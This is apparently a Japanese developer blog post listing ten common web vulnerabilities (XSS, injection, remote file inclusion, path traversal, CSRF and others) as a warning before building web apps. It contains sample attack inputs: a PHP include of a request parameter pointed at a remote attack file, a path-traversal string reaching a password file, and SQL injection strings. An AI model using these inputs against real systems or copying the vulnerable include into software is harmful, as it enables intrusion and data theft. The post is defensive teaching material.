Webアプリケーションを作る前に知るべき10の脆弱性

http://www.atmarkit.co.jp/fsecurity/column/ueno/47.html
これは必見。

1.クロスサイトスクリプティングXSS

例えば、掲示板などの書き込みととしてjavascriptを書き込まれてしまった場合、それを実行させられることでユーザのクッキー情報などが第三者の手に渡ってしまう脆弱性
というかそういう攻撃方法の名前。** 2.インジェクションの欠陥


有名なSQLインジェクションをはじめ、OSコマンド、LDAPXPathXSLT、HTML、XMLなどのインジェクションがあります。
書き込み値の一部にコマンドを混入させられることで、攻撃者の指定したコマンドを実行させられるという脆弱性

3.悪意のあるファイルを読み込んで実行こういうこと。


include $_REQUEST['css'];
http://www.example.com/index.php?css=http://hackr.jp/attack.txt

4.オブジェクトの直接参照ファイルの位置を


'/abc/def/file' + $_REQUEST['id']のような指定をしてしまうと、idに任意の値を入力されることで、好きなファイルにアクセスされてしまう。

'/abc/def/file' + '/../../var/etc/password'
みたいなかんじで。** 5.クロスサイトリクエストフォージェリ CSRF(Cross Site Request Forgery)

Webサイトにスクリプトや自動転送(HTTPリダイレクト)を仕込むことによって、
閲覧者に意図せず別のWebサイト上で何らかの操作(掲示板への書き込みなど)を行なわせる攻撃手法。
本来拒否すべき外部のWebページからのHTTPリクエストを受け付けてしまうというバグによって起こります。** 6.設定情報などの漏えい、不適切なエラーハンドリング

認証の際に「パスワードが違います」というメッセージを表示してしまうことで、
「ユーザーIDは合っている」ということを暗示してしまうといった不備を指します。** 7.不適切な認証やセッション管理

認証機構やセッション管理、ログアウト機能、パスワード管理、秘密の質問などの設計や実装に
弱点があるため、適切に認証やセッション管理が行われていないという問題によって起こります。** 8.暗号の使い方が不適切

開発者お手製の暗号アルゴリズムを使ったり、弱いアルゴリズムを採用してしまったり、
鍵の管理が安全でなかったり、暗号化すらしていないという問題** 9.通信方法が不適切

認証が必要な部分の通信のすべてにSSLを使用していない、またクレジットカード番号などの
重要な情報を扱う部分の通信で使用していないといった問題によって起こります。** 10.URLへのアクセス制限の不備

管理者ページへのアクセスを、アクセス制御機能を設けず、
URLを隠していることだけに頼っているといった問題によって起こります。

エスケープだけしてれば、セキュリティ対策が万全になる訳ではないですよhttp://d.hatena.ne.jp/masakiti2005/20061129/1164811913



select password from usertable where id = '入力値'
入力値に ' or '1' = '1 が与えられると・・・といった攻撃は防ぐことは出来ますが、

select password from usertable where id = 入力値 (idが数値型)
入力値に 1 or 1 = 1 が与えられると・・・
といった攻撃を防ぐことは出来ません。